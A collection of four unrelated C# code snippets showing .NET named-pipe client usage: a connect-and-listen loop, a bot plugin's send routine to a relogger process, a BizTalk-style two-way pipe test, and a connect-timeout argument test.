#pragma warning disable CS4014 public void Connect() { if (Connected) { return; } stream = new NamedPipeClientStream(".", PipeName, PipeDirection.InOut, PipeOptions.Asynchronous); try { stream.Connect(3000); } catch (Exception ex) { Disconnect(); if (ConnectionStateChanged != null) { ConnectionStateChanged.Invoke(this, Connected); } throw ex; } Task.Run(new Action(() => { if (ConnectionStateChanged != null) { ConnectionStateChanged.Invoke(this, Connected); } // Send ping message var pingMessage = new PipeProtoMessage { Opcode = PipeProto.OPCODE_PING }; try { pingMessage.WriteToClientStream(stream, true); statMsgsSent++; } catch (Exception ex) { Debug.WriteLine("Send message failure: " + ex.Message + " " + ex.StackTrace.ToString()); if (Debugger.IsAttached) { Debugger.Break(); } Disconnect(); } // Ask for a repaint SendRepaintRequest(); while (Connected) { // Read next message PipeProtoMessage incomingMessage = null; try { incomingMessage = PipeProtoMessage.ReadFromStream(stream); } catch (Exception ex) { } if (incomingMessage != null) { try { if (MessageReceived != null) { MessageReceived.Invoke(this, incomingMessage); statMsgsReceived++; } } catch (Exception ex) { Console.WriteLine(ex.Message); Debug.WriteLine(ex.Message + " @ " + ex.StackTrace); if (Debugger.IsAttached) { Debugger.Break(); } } } } })); }
private bool Send(string data, bool pause = false, bool xml = false, int retry = 1, int timeout = 3000) { var success = false; var tries = 0; if (!xml) { data = _bs.Pid + ":" + data; } else { data += "\nEND"; } // Pause bot if (pause) { _recieved = false; Func <bool> waitFor = Recieved; BotMain.PauseWhile(waitFor, 0, TimeSpan.FromMilliseconds((retry * timeout) + 3000)); } while (!success && tries < retry) { try { tries++; using (var client = new NamedPipeClientStream(".", "YetAnotherRelogger")) { client.Connect(timeout); if (client.IsConnected) { var sw = new StreamWriter(client) { AutoFlush = true }; var sr = new StreamReader(client); sw.WriteLine(data); var connectionTime = DateTime.Now; while (!success && client.IsConnected) { if (DateTime.Now.Subtract(connectionTime).TotalSeconds > 3) { client.Close(); break; } var responseText = sr.ReadLine(); if (string.IsNullOrWhiteSpace(responseText)) { Thread.Sleep(10); continue; } HandleResponse(responseText); success = true; } } else { // Failed to connect } } } catch (TimeoutException) { // YAR is not running, disable the plugin Log("TimeoutException - Disabling YAR Plugin"); PluginManager.Plugins.Where(p => p.Plugin.Name == this.Name).All(p => p.Enabled = false); Thread.CurrentThread.Abort(); } catch (Exception ex) { LogException(ex); OnShutdown(); } Thread.Sleep(100); } _recieved = true; return(success); }
public void TestTwoWay_XML() { PipeSecurity ps = new PipeSecurity(); ps.AddAccessRule(new PipeAccessRule("USERS", PipeAccessRights.CreateNewInstance | PipeAccessRights.ReadWrite, System.Security.AccessControl.AccessControlType.Allow)); //We first spin a pipe server to make sure that the send port will be able to connect using (NamedPipeServerStream pipeServer = new NamedPipeServerStream( "TwoWaySend", PipeDirection.InOut, 1, PipeTransmissionMode.Byte, PipeOptions.Asynchronous, 1024, 1024, ps)) { string xml = "<SomeTestMessage><Element1 attribute1=\"attributeValue\"></Element1><Element2>Some element content</Element2></SomeTestMessage>"; string responseXml = "<SomeTestMessageResponse><Element1 attribute1=\"attributeValue\"></Element1><Element2>Some element content</Element2></SomeTestMessageResponse>"; OutboundTestHelper testHelper = new OutboundTestHelper(pipeServer, responseXml); pipeServer.BeginWaitForConnection(cb => testHelper.ClientConnectedSyncronous(cb), testHelper); System.Threading.Thread.Sleep(100); //Here we spin the pipe client that will send the message to BizTalk using (NamedPipeClientStream pipeClient = new NamedPipeClientStream("localhost", "TwoWayReceive", PipeDirection.InOut, PipeOptions.Asynchronous)) { byte[] xmlBytes = Encoding.UTF8.GetBytes(xml); pipeClient.Connect(10000); pipeClient.Write(xmlBytes, 0, xmlBytes.Count()); pipeClient.Flush(); pipeClient.WriteByte(0x00);//writing the EOF byte pipeClient.Flush(); pipeClient.WaitForPipeDrain(); //Here we wait for the event to be signalled bool waitExpired = testHelper.syncEvent.WaitOne(10000); Assert.IsTrue(waitExpired, "The waiting time for the response has expired prior to receiving the response"); //The event was signalled, we get the message stirng from the outBuffer string receivedXml = Encoding.UTF8.GetString(testHelper.memStream.ToArray(), 0, (int)testHelper.memStream.Length); Assert.AreEqual(xml, receivedXml, "Contents of received message is different"); //Here we read from the pipeClient the response message byte[] responseBytes = new byte[256]; using (MemoryStream memStream = new MemoryStream(256)) { int byteCountRead = 0; bool eofReached = false; while (!eofReached) { byteCountRead = pipeClient.Read(responseBytes, 0, responseBytes.Length); if (byteCountRead > 2) { eofReached = (responseBytes[byteCountRead - 1] == 0x0 && responseBytes[byteCountRead - 2] != 0x0 && responseBytes[byteCountRead - 3] != 0x0); } else if (byteCountRead > 1 && !eofReached) { eofReached = (responseBytes[byteCountRead - 1] == 0x0 && responseBytes[byteCountRead - 2] == 0x0); } else if (byteCountRead == 1) { eofReached = responseBytes[byteCountRead - 1] == 0x0; } memStream.Write(responseBytes, 0, eofReached ? byteCountRead - 1 : byteCountRead); } string receivedResponseXml = GeneralTestHelper.GetMessageFromArray( memStream.ToArray(), (int)memStream.Length, Encoding.UTF8); Assert.AreEqual(responseXml, receivedResponseXml, "Contents of the response message is different"); } } } }
public static void ClientConnectTimeoutThrows() { using (NamedPipeClientStream client = new NamedPipeClientStream("client1")) { Assert.Throws<ArgumentOutOfRangeException>(() => client.Connect(-111)); Assert.Throws<ArgumentOutOfRangeException>(() => NotReachable(client.ConnectAsync(-111))); } }